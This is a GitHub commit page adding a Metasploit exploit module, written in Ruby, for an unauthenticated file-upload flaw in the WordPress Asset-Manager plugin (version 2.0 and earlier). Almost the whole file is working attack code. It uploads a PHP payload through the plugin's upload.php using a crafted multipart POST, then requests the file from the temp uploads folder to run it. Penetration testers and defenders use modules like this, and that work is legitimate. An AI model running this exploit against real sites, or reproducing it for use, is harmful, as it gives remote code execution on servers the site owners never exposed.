Skip to content

Commit bf036c9

Browse files
author
jvazquez-r7
committed
added initial submission from james fitts
1 parent 7173c9b commit bf036c9

File tree

1 file changed

+100
-0
lines changed

1 file changed

+100
-0
lines changed
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/exploit/php_exe'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = GreatRanking
13+
14+
include Msf::Exploit::Remote::HttpClient
15+
include Msf::Exploit::PhpEXE
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
20+
'Description' => %q{
21+
This module exploits a vulnerability found in Asset-Manager <= 2.0
22+
WordPress plugin. By abusing the upload.php file, a malicious
23+
user can upload a file to a temp directory without authentication,
24+
which results in arbitrary code execution.
25+
},
26+
'Author' => [
27+
'Sammy FORGIT', # initial discovery
28+
'James Fitts' # metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'Version' => '$Revision: $',
32+
'References' =>
33+
[
34+
[ 'OSVDB', '82653' ],
35+
[ 'BID','53809' ]
36+
],
37+
'Payload' =>
38+
{
39+
'BadChars' => "\x00",
40+
},
41+
'Platform' => 'php',
42+
'Arch' => ARCH_PHP,
43+
'Targets' =>
44+
[
45+
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
46+
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
47+
],
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Jan 23 2012'))
50+
51+
register_options(
52+
[
53+
OptString.new('TARGETURI', [true, 'The base path to Asset Manager', '/wordpress/wp-content'])
54+
], self.class)
55+
end
56+
57+
def exploit
58+
uri = target_uri.path
59+
uri << '/' if uri[-1,1] != '/'
60+
61+
peer = "#{rhost}:#{rport}"
62+
uid = rand_text_alphanumeric(34).to_s
63+
64+
@payload_name = "#{rand_text_alpha(5)}.php"
65+
66+
post_data = "--#{uid}\r\n"
67+
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
68+
post_data << "Content-Type: application/octet-stream\r\n"
69+
post_data << "\r\n"
70+
post_data << payload.raw + "\r\n"
71+
post_data << "\r\n"
72+
post_data << "--#{uid}--\r\n"
73+
74+
print_status("Uploading payload #{@payload_name} to #{peer}...")
75+
res = send_request_cgi({
76+
'method' => 'POST',
77+
'uri' => "#{uri}plugins/asset-manager/upload.php",
78+
'ctype' => "multipart/form-data; boundary=#{uid}",
79+
'data' => post_data
80+
})
81+
82+
if res
83+
print_status("#{peer} responds with status: #{res.code.to_s}")
84+
else
85+
print_error("#{peer} not responding to our requests...")
86+
return
87+
end
88+
89+
print_status("Executing payload #{@payload_name} on the target...")
90+
res = send_request_raw({
91+
'uri' => "#{uri}uploads/assets/temp/#{@payload_name}",
92+
'method' => 'GET'
93+
})
94+
95+
if res and res.code == 404
96+
print_error("Target responding with a 404... Upload probably failed...")
97+
return
98+
end
99+
end
100+
end

0 commit comments

Comments
 (0)